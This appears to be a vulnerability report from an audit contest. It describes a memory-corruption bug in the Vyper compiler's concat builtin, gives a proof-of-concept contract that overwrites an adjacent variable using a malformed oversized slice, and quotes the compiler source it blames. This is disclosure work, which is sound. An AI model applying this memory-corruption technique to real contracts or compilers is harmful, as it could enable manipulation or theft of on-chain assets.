concat does not strictly check concat_ofst, which will lead to modification of other variables and damage to memory.
POC Code:
event MyEvent:
value: uint256
@external
def __init__():
pass
@external
def test():
y : uint256 = 0
slen : uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639904 # 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0
s1 : Bytes[32] = b"\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08"
b1 : bytes32 = 0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef
s2 : Bytes[32] = slice(s1, 32, slen)
x : uint256 = 1
y = len(concat(s2, s2, s2))
log MyEvent(x)
assert x == convert(0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef, uint256)
In the above code, concat(s2,s2,s2) ultimately results in modifying the variable x to 0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef.
ROOT CAUSE:
concat does not strictly check whether the range of concat_ofst is within the memory where it is located.
vyper\builtins\functions.py line: 528
def build_IR(self, expr, context):
args = [Expr(arg, context).ir_node for arg in expr.args]
if len(args) < 2:
raise StructureException("Concat expects at least two arguments", expr)
# Maximum length of the output
dst_maxlen = sum(
[arg.typ.maxlen if isinstance(arg.typ, _BytestringT) else arg.typ.m for arg in args]
)
# TODO: try to grab these from semantic analysis
if isinstance(args[0].typ, StringT):
ret_typ = StringT(dst_maxlen)
else:
ret_typ = BytesT(dst_maxlen)
# Node representing the position of the output in memory
dst = IRnode.from_list(
context.new_internal_variable(ret_typ),
typ=ret_typ,
location=MEMORY,
annotation="concat destination",
)
ret = ["seq"]
# stack item representing our current offset in the dst buffer
ofst = "concat_ofst"
# TODO: optimize for the case where all lengths are statically known.
for arg in args:
dst_data = add_ofst(bytes_data_ptr(dst), ofst)
if isinstance(arg.typ, _BytestringT):
# Ignore empty strings
if arg.typ.maxlen == 0:
continue
with arg.cache_when_complex("arg") as (b1, arg):
argdata = bytes_data_ptr(arg)
with get_bytearray_length(arg).cache_when_complex("len") as (b2, arglen):
do_copy = [
"seq",
copy_bytes(dst_data, argdata, arglen, arg.typ.maxlen),
["set", ofst, ["add", ofst, arglen]],
]
ret.append(b1.resolve(b2.resolve(do_copy)))
else:
ret.append(STORE(dst_data, unwrap_location(arg)))
ret.append(["set", ofst, ["add", ofst, arg.typ.m]])
ret.append(STORE(dst, ofst))
# Memory location of the output
ret.append(dst)
return IRnode.from_list(
["with", ofst, 0, ret], typ=ret_typ, location=MEMORY, annotation="concat"
)
At line 558, "dst_data = add_ofst(bytes_data_ptr(dst), ofst)" calculates the dst to be written.
At line 572, ["set", ofst, ["add", ofst, arglen]] updates ofst.
Neither of these two places checks whether ofst is reasonable or whether the calculation overflows.
As a result, malformed input can be controlled to modify other variables through concat, which can eventually destroy the entire memory data.
In the above POC code, the variable x is just in front of the output Bytes generated by concat. We pass in a malformed Bytes object s2 with a length of 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 and join 3 such objects through concat. Finally, the variable x was modified to 0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef.
High Risk
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.